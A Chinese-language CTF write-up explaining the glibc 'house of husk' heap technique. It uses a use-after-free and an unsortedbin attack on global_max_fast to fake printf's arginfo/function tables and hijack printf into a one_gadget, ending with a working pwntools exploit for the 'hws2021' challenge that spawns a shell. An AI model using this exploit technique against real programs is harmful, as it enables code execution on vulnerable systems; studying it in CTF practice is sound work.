horse of husk
这个手法对我而言还挺难的,原理难,利用起来还行
利用的前提是:uaf,unsortedbin attack,以及两个非常大的堆块,挺苛刻的利用前提
简易原理
原理主要是利用了printf的调用链,首先当需要使用printf类格式化字符串函数时,函数会根据格式化字符不同来采取不同的输出方式,在glibc中有个为格式化字符输出注册函数,这个函数是__register_print_specifier函数的封装,此处可以看一下printf.h中相关源码
跟进一下这个register_print_specifier函数,如果格式化字符超过0xff,或者小于0,不是ascii码返回-1,如果printf_arginfo_table为空就通过calloc分配堆内存存放printf_arginfo_table以及printf_function_table。两个表空间都为0x100,可以为0-0xff的每个字符注册一个函数指针,两个表是相邻的
/* Register FUNC to be called to format SPEC specifiers. */
int
__register_printf_function (int spec, printf_function converter,
printf_arginfo_function arginfo)
{
return __register_printf_specifier (spec, converter,
(printf_arginfo_size_function*) arginfo);
}
/* Register FUNC to be called to format SPEC specifiers. */
int
__register_printf_specifier (int spec, printf_function converter,
printf_arginfo_size_function arginfo)
{
if (spec < 0 || spec > (int) UCHAR_MAX) //UCHAR_MAX=0XFF
{
__set_errno (EINVAL);
return -1;
}
int result = 0;
__libc_lock_lock (lock);
if (__printf_function_table == NULL)
{
__printf_arginfo_table = (printf_arginfo_size_function **)
calloc (UCHAR_MAX + 1, sizeof (void *) * 2);
if (__printf_arginfo_table == NULL)
{
result = -1;
goto out;
}
__printf_function_table = (printf_function **)
(__printf_arginfo_table + UCHAR_MAX + 1);
}
__printf_function_table[spec] = converter;
__printf_arginfo_table[spec] = arginfo;
out:
__libc_lock_unlock (lock);
return result;
}
- 这里是calloc申请的内存块,和malloc有些不同,malloc申请时不会将内存清空,calloc会清空申请的内存空间(pwn比赛中,重要的知识点)
- 原型:void* calloc(unsigned int num,unsigned int size)
- 功能:在内存的动态存储区中分配num个长度为size的连续空间
这个printf源码链比较长,就先不分析了(菜鸡实在看不懂源码)
着重分析一下这个漏洞在pwn中的用法,核心就是利用:在vfprintf函数中如果检测到我们注册的table不为空,则对于格式化字符不走默认的输出函数而是调用printf_positional
函数,进而可以调用到表中的函数指针,源码如下
/* Use the slow path in case any printf handler is registered. */
if (__glibc_unlikely (__printf_function_table != NULL
|| __printf_modifier_table != NULL
|| __printf_va_arg_table != NULL))
goto do_positional;
/* Hand off processing for positional parameters. */
do_positional:
if (__glibc_unlikely (workstart != NULL))
{
free (workstart);
workstart = NULL;
}
done = printf_positional (s, format, readonly_format, ap, &ap_save,
done, nspecs_done, lead_str_end, work_buffer,
save_errno, grouping, thousands_sep);
首先计算分配的两个大小
第一个用来伪造__printf_function_table
,第二个用来伪造__printf_arginfo_table
第一个大小:(PRINT_FUNCTION-MAIN_ARENA)*2-0x10
第二个大小:(PRINTF_ARGINFO - MAIN_ARENA)*2-0X10
目的
如果更改第一个table,需要将(p_fun_table + ('X' - 2) * 8) = libc_base + ONE_GADGET
如果更改第二个table,需要将__printf_arginfo_table['X']
处的函数指针改为one_gadget
这里的X,不是固定的是,指的是printf家族函数中格式化字符,如%d,%c,%s,%x,%p
题目:hws2021-送分题
这道题,真痛苦,不知道为什么师傅们都能写出来,我是个废物,程序比较简单
解决的思路是house of husk或者打IO_FILE结构体
可以看到,house of husk 是全部满足的,UAF,unsortedbin attack,还有那两个很大的堆块
后面有两次free掉大堆块,还要调用printf("%s")
攻击流程
第一步直接接受一下泄露出来的main_arena+88地址,然后计算出libc地址
第二步然后通过unsortedbin attack,改写GLOBAL_MAX_FAST(这个地方如名字所示,存放的是fastbin最大的大小),把这个大小更改为一个非常大的数
第三步根据修改的是__printf_function_table
还是__printf_arginfo_table
选择攻击方式,上面有提到
这里选择的是ARGTABLE攻击,第一个第二个都可以getshell
from pwn import *
sh = process("./pwn")
# sh = remote("192.168.17.17",8888)
context.log_level='debug'
#define MAIN_ARENA 0x3ebc40
#define MAIN_ARENA_DELTA 0x60
#define GLOBAL_MAX_FAST 0x3ed940
#define PRINTF_FUNCTABLE 0x3f0658
#define PRINTF_ARGINFO 0x3ec870
#ARGTABLE_Size = (0x3ec870-0x3ebc40)*2 - 0x10 = 0x1850
#FUNCTABLE_Size = (0x3f0658-0x3ebc40)*2 - 0x10 = 0x9420
# use python to calculate
sh.sendlineafter("big box, what size?\n",str(0x1850))
sh.sendlineafter("bigger box, what size?\n",str(0x9420))
sh.sendlineafter("rename?(y/n)\n",'y')
libc_base = u64(sh.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-0x3ebca0
global_max_fast = libc_base + 0x3ed940
print('libc:',hex(libc_base))
print('global_max_fast',hex(global_max_fast))
sh.sendafter("new name!\n",b'/bin/sh\x00'+p64(global_max_fast-0x10))
sh.sendlineafter("(1:big/2:bigger)\n",'1')
#gdb.attach(sh)
one_gadget = 0x10a41c+libc_base
sh.send(b'a'*((ord('s')-2)*8)+p64(one_gadget))
# when call printf('%s') then getshell
sh.interactive()
非常简略的exp,但是攻击流程基本都走了下来
这么说吧,你可以看看house of husk作者的poc,基本就写得出来
贴一个我认为这个攻击流程讲的很清楚的博文地址,非常感谢这位师傅
https://juejin.cn/post/6844904117119385614#heading-1